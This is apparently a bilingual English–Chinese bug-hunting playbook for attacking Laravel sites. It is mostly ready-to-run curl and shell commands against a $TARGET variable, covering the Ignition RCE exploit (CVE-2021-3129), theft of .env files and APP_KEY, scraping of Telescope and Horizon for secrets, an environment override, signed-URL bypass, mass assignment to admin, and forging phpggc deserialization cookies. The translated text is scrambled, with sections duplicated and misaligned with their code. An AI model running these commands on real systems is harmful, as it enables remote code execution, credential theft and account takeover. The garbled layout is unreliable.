hunt-laravel
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseHUNT-LARAVEL — Laravel Specific Vulnerabilities
HUNT-LARAVEL — Laravel 特有漏洞
Crown Jewel Targets
高价值目标
Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
Highest-value findings:
- Ignition RCE (CVE-2021-3129) — + Laravel < 8.4.2 →
APP_DEBUG=trueRCE without auth/_ignition/execute-solution - Telescope dashboard — exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
/telescope - Horizon dashboard — exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
/horizon - Signed URL manipulation — if validates wrong params → bypass signed URL → unauthorized actions
URL::signedRoute - .env exposure — leaked → decrypt all encrypted cookies → forge session → ATO
APP_KEY
生产环境中启用 Laravel Debug 模式 = 可通过 Ignition(CVE-2021-3129)即时实现 RCE。
最高价值的发现:
- Ignition RCE(CVE-2021-3129) — + Laravel < 8.4.2 →
APP_DEBUG=true无需认证即可实现 RCE/_ignition/execute-solution - Telescope 仪表板 — 暴露完整的请求/响应日志、DB 查询、Redis 命令、定时任务和环境变量
/telescope - Horizon 仪表板 — 暴露队列任务详情及失败任务及其完整 payload(可能包含 API 密钥、PII)
/horizon - Signed URL 篡改 — 如果 验证了错误的参数 → 绕过 signed URL → 发起未授权操作
URL::signedRoute - .env 暴露 — 泄露 → 解密所有加密 cookie → 伪造 session → ATO
APP_KEY
Phase 1 — Fingerprint Laravel
阶段 1 — 识别 Laravel 指纹
bash
undefinedbash
undefinedLaravel-specific indicators
Laravel 特有指标
curl -sI https://$TARGET/ | grep -i "laravel_session|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel|Illuminate|csrf-token"
curl -sI https://$TARGET/ | grep -i "laravel_session|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel|Illuminate|csrf-token"
Common Laravel paths
常见 Laravel 路径
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
done
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
done
Check error page (trigger 404)
检查错误页面(触发 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel|Whoops|Ignition|symfony"
---curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel|Whoops|Ignition|symfony"
---Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
阶段 2 — Debug 模式与 Ignition RCE(CVE-2021-3129)
bash
undefinedbash
undefinedStep 1: Check if debug mode is enabled (Whoops error page)
第 1 步:检查是否启用了 Debug 模式(Whoops 错误页面)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops|APP_DEBUG|Ignition"
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops|APP_DEBUG|Ignition"
If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
如果显示 Whoops/Ignition → Debug 模式已开启 → 测试 CVE-2021-3129
Step 2: Check Ignition endpoint
第 2 步:检查 Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5
curl -s "https://$TARGET/_ignition/health-check" | head -5
Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
第 3 步:CVE-2021-3129 — Laravel < 8.4.2 可通过篡改日志文件实现 RCE
(Requires debug mode + writable storage/logs)
—
Tool: ambionics/laravel-ignition-rce
—
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
#(需要 Debug 模式 + storage/logs 可写)
Manual test — send solution request
工具:ambionics/laravel-ignition-rce
curl -s -X POST "https://$TARGET/_ignition/execute-solution"
-H "Content-Type: application/json"
-d '{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "x", "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log" } }'
-H "Content-Type: application/json"
-d '{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "x", "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log" } }'
---git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
Phase 3 — Laravel Telescope & Horizon
手动测试 — 发送 solution 请求
bash
undefinedcurl -s -X POST "https://$TARGET/_ignition/execute-solution"
-H "Content-Type: application/json"
-d '{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "x", "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log" } }'
-H "Content-Type: application/json"
-d '{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "x", "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log" } }'
---Telescope — request/response logs, DB queries, jobs, cache, events
阶段 3 — Laravel Telescope 与 Horizon
curl -s "https://$TARGET/telescope" | grep -i "telescope|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
bash
undefinedHorizon — queue worker dashboard
Telescope — 请求/响应日志、DB 查询、任务、缓存、事件
curl -s "https://$TARGET/horizon" | grep -i "horizon|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope" | grep -i "telescope|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
Failed job payloads often contain full request data including auth tokens
Horizon — 队列 worker 仪表板
Common paths
—
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done
---curl -s "https://$TARGET/horizon" | grep -i "horizon|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
Phase 4 — .env File & APP_KEY Exposure
失败任务的 payload 通常包含完整请求数据,包括 auth token
—
常见路径
bash
undefinedfor path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done
---Direct .env access
阶段 4 — .env 文件与 APP_KEY 暴露
curl -s "https://$TARGET/.env" | grep -i "APP_KEY|DB_PASSWORD|SECRET|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"
bash
undefinedIf APP_KEY found:
直接访问 .env
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
curl -s "https://$TARGET/.env" | grep -i "APP_KEY|DB_PASSWORD|SECRET|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"
→ Can decrypt all Laravel encrypted cookies
如果发现 APP_KEY:
→ Can forge session cookies → ATO for any user
—
Also check
—
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception|error|key|password"
---APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
Phase 4b — Environment override via query args (CVE-2024-52301)
→ 可以解密所有 Laravel 加密 cookie
—
→ 可以伪造 session cookie → 获取任意用户的 ATO
—
同时检查
When (php.ini), Laravel parses the query-string as CLI args, so overrides over HTTP -> flip the app into / config (debug on, seeded creds, weaker guards).
register_argc_argv=On?--env=APP_ENVlocaltestingbash
curl -s "https://$TARGET/?--env=local" # force debug/local config
curl -s "https://$TARGET/login?--env=testing" # swap to testing DB/configcurl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception|error|key|password"
---Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.
阶段 4b — 通过查询参数覆盖环境(CVE-2024-52301)
undefined当 (php.ini)时,Laravel 会将查询字符串解析为 CLI 参数,因此可通过 HTTP 使用 覆盖 → 将应用切换至 / 配置(启用 debug、预置凭据、采用较弱的防护规则)。
register_argc_argv=On?--env=APP_ENVlocaltestingbash
curl -s "https://$TARGET/?--env=local" # 强制启用 debug/local 配置
curl -s "https://$TARGET/login?--env=testing" # 切换至测试 DB/配置Phase 5 — Signed URL Manipulation
确认:查看 debug/Whoops 页面或不同的环境标识。已修复版本:11.31.0 / 10.48.23 / 9.52.17。
bash
undefinedundefinedLaravel signed URLs contain signature param: ?signature=HASH
阶段 5 — Signed URL 篡改
Find signed URL endpoints
—
cat recon/$TARGET/urls.txt | grep "signature="
bash
undefinedTest: modify a non-signature parameter — should fail validation
Laravel signed URL 包含 signature 参数:?signature=HASH
—
查找 signed URL endpoint
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
cat recon/$TARGET/urls.txt | grep "signature="
Modify user ID → should fail if properly signed
测试:修改非 signature 参数 — 验证应失败
curl -s "${SIGNED_URL/user=123/user=999}"
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
Test signature bypass: remove signature entirely
修改 user ID → 如果签名机制正确则应失败
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
curl -s "${SIGNED_URL/user=123/user=999}"
Test: does the app validate ALL parameters or just some?
测试签名绕过:完全移除 signature
curl -s "${SIGNED_URL}&extra=malicious"
---curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
Phase 6 — Mass Assignment via Eloquent
测试:应用会验证所有参数还是仅验证部分参数?
bash
undefinedcurl -s "${SIGNED_URL}&extra=malicious"
---Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
阶段 6 — 通过 Eloquent 进行批量赋值
Test: add extra fields to update/create requests
—
Profile update
—
curl -s -X POST "https://$TARGET/api/profile"
-H "Cookie: laravel_session=SESSION"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
-H "Cookie: laravel_session=SESSION"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
bash
undefinedRegistration
Laravel Eloquent ORM — 如果 model 错误地使用 $guarded=[] 或 $fillable=[]
—
测试:在更新/创建请求中添加额外字段
—
资料更新
curl -s -X POST "https://$TARGET/api/register"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'
---curl -s -X POST "https://$TARGET/api/profile"
-H "Cookie: laravel_session=SESSION"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
-H "Cookie: laravel_session=SESSION"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
Phase 7 — Laravel Cookie Deserialization
注册
bash
undefinedcurl -s -X POST "https://$TARGET/api/register"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'
---If APP_KEY is known, forge a session cookie with malicious serialized payload
阶段 7 — Laravel Cookie 反序列化
Uses phpggc gadget chains
—
Get the app key
—
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
bash
undefinedGenerate payload with phpggc
如果已知 APP_KEY,可使用恶意序列化 payload 伪造 session cookie
—
使用 phpggc gadget chains
—
获取 app key
php phpggc Laravel/RCE5 system 'id' | base64
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
Sign the cookie with the app key using laravel-cookie-forge script
使用 phpggc 生成 payload
python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
—
---php phpggc Laravel/RCE5 system 'id' | base64
Chain Table
使用 laravel-cookie-forge 脚本,以 app key 对 cookie 进行签名
—
python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
| Laravel finding | Chain to | Impact |
|---|---|---|
| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |
| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |
| Horizon accessible | Read failed job payloads | High - PII/token exfil |
| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |
| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |
| Mass assignment | Set is_admin=true → privilege escalation | Critical |
---Validation
链式利用表
✅ Ignition RCE: command output returned in response
✅ Telescope: API responses contain DB queries with credentials or user tokens
✅ APP_KEY: Forged session cookie accepted, returns another user's profile
✅ Mass assignment: accepted, account now has admin privileges
idis_admin: trueSeverity:
- Ignition RCE: Critical
- Telescope/Horizon with sensitive data: High
- .env with APP_KEY: Critical
- Mass assignment to admin: Critical
| Laravel 发现项 | 可链式利用为 | 影响 |
|---|---|---|
| Debug 模式已启用 | CVE-2021-3129 Ignition RCE | 严重 RCE |
| Telescope 可访问 | 读取 API 密钥、DB 查询、环境变量 | 高危 — 凭据窃取 |
| Horizon 可访问 | 读取失败任务的 payload | 高危 — PII/token 外泄 |
| .env 暴露且包含 APP_KEY | 伪造 session cookie → ATO | 严重 ATO |
| Signed URL 绕过 | 未授权操作(例如取消任意用户的订阅) | 中高危 |
| 批量赋值 | 设置 is_admin=true → 权限提升 | 严重 |
—
验证
—
✅ Ignition RCE:响应中返回了 命令的输出
✅ Telescope:API 响应包含带凭据或用户 token 的 DB 查询
✅ APP_KEY:伪造的 session cookie 被接受,并返回其他用户的资料
✅ 批量赋值: 被接受,账户目前拥有管理员权限
idis_admin: true严重程度:
- Ignition RCE:严重
- Telescope/Horizon 包含敏感数据:高危
- .env 包含 APP_KEY:严重
- 通过批量赋值提升至管理员:严重